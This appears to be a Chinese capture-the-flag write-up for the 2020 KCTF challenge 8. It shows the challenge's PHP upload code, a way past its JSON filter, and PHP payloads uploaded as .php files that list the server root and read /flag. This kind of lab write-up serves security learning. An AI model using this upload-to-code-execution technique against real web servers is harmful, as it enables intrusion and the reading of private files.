-
-
[原创] 2020KCTF 第八题 牛刀小试 wp
-
2020-4-30 18:11
5924
-
[原创] 2020KCTF 第八题 牛刀小试 wp
首先打开 http://47.102.223.17:2333/ ,发现给出了源代码。
<?php
if (isset($_FILES["file"]["tmp_name"])) {
$file = fopen($_FILES["file"]["tmp_name"], "r");
$data = fread($file, filesize($_FILES["file"]["tmp_name"]));
$arr = json_decode($data, true, 2);
if (json_last_error() != JSON_ERROR_NONE) {
die("JsonErr");
}
if (count($arr) != 1) {
die("DataErr");
}
$data = $arr['data'];
$len = strlen($data);
if ($len > 56) {
die("Long");
}
if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
die("no");
}
$name = mt_rand();
$ext = strrchr($_FILES['file']['name'], '.');
$ext = trim($ext);
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);
echo "upload/" . $name . $ext;
} else {
highlight_file(__FILE__);
}
?>
这段程序首先读取浏览器上传的文件,这个文件必须是有效的JSON文件,并且对象长度必须是1。接下来校验$arr['data']
的长度必须小于等于56,且不能含有一系列特殊符号。针对这个检查,只要让我们的JSON根本不包含data
这个key就直接绕过了。最后上传的文件被储存时保留了后缀,所以我们用.php
后缀,就能达到代码执行的目的。
本地用来上传文件的up.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Uploader</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://47.102.223.17:2333/" method="POST">
<input type="file" name="file">
<button type="submit">Send</button>
</form>
</body>
</html>
根据提示flag在根目录,所以第一次上传的文件data.php:
{
"hello": "<?php echo implode(' ', glob('/*')); ?>"
}
服务器返回:upload/1179490546.php。
访问这个php,得到根目录文件列表:
显然/flag
就是flag。第二次上传的文件r.php:
{
"hello": "<?php echo file_get_contents('/flag'); ?>"
}
返回:upload/772416736.php
访问这个php,得到flag:
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2020-4-30 20:10
被3352编辑
,原因: